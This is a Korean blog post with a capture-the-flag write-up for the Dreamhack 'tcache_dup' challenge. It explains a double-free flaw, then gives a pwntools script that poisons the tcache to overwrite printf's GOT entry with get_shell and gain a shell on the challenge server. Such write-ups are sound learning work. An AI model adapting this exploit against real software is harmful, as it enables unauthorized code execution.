Jastes 2022. 11. 6. 23:50


tcache_dup

문제 풀이

 

NX와 Partial RELRO 그리고 Canary라니.. 코드를 살펴보고 취약점을 유추해야겠습니다
제목에서 보듯이 아마 DFB겠다만..

코드를 보시면.. delete함수 부분을 보면, ptr[idx]을 해제 후 ptr 포인터를 초기화를 하지 않으므로
DFB 취약점이 존재합니다 또한 get_shell이 있기에 NX은 걱정 없네요

취약점을 그럼 다시 한 번 생각해본다면 GOT overwrite도 가능해보입니다.
그러기에 청크를 할당 후 두 번 해제 double free에서 그 내용을 조작
그리고 printf의 got 주소를 넣고 후에 get_shell의 주소를 넣어 overwrite..


Exploit 설계

힙 할당 후 Double free를 합니다. 여기서 청크의 next의 포인터에 자기 자신의 주소가
들어가며, tcache)entry에 자기 자신에 대한 포인터가 적히므로 ptr의 포인터를 변조해야합니다.

재할당으로 같은 크기의 청크 주소를 할당 후 next 포인터에 printf got를 넣어야겠죠?

코드 취약점이 UAF만 있으므로 libc_leak을 획득해야겠습니다.

2번째 청크도 당연히 아직 tcache_entry에 첫 번째 청크가 있으므로(bk) 재할당해야합니다.
우리가 고려할 부분인 stdin 이런 부분이 사용 안되므로 맘껏합시다 그럼 next 포인터에 적힌 printf got!

할당 후 size 체크를 하지 않으므로 chunk에 대한 값의 변조도 필요 없겠습니다.
또한 got overwrite이므로 get_shell의 주소도 넣어줍니다

 


Exploit

위에서 다 설명했으니 추가적인 부분만 간단히 설명하고 넘어가겠습니다.

위는 구조체 정의이며 필요한 주소를 미리 구한 후 create를 활용하여 어느정도의 청크 크기를 할당합니다.

그 후에는 두번 해제 Double free로 다시 재할당으로 우리가 필요한 값과 주소를 오버라이딩하면..
위와 같이 넣을 수 잇겠습니다. 첫번째 주석에 overwrite 부분은 next의 포인터의 값이
printf의 got로 가도록 하므로 첫번째 인자에 got의 값을 이후에는 다시 넣었던 부분

어짜피 첫 번째 할당에서 got가 있기에 entry부분에서 next의 포인터에 적힌 got에 되므로
주소인 8byte를 뺀 값을 크기로 잡고(나중에 안 부분인데 똑같이 해도 문제 없겠드라고요)

get_shell의 주소를 넣는다! 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python 
from pwn import *
 
#context.log_level = 'debug'
#p = process("./tcache_dup")
= remote("host3.dreamhack.games"17816)
elf = ELF("./tcache_dup")
 
def create(size, data):
    p.sendlineafter("> "'1')
    p.sendlineafter("Size: "str(size))
    p.sendafter("Data: ", data)
 
def delete(idx):
    p.sendlineafter("> "'2')
    p.sendlineafter("idx: "str(idx))
 
get_shell = elf.symbols['get_shell']
print_got = elf.got['printf']
 
create(0x10'A'*0x10)
 
#Double Free
delete(0)
delete(0)
 
#overwrite next pointer to printf got
create(0x10, p64(print_got))
create(0x10'A'*0x10)
 
#malloc on printf got & got overwrite
create(8, p64(get_shell))
 
p.interactive()
 
cs


참고 자료

참고 이미지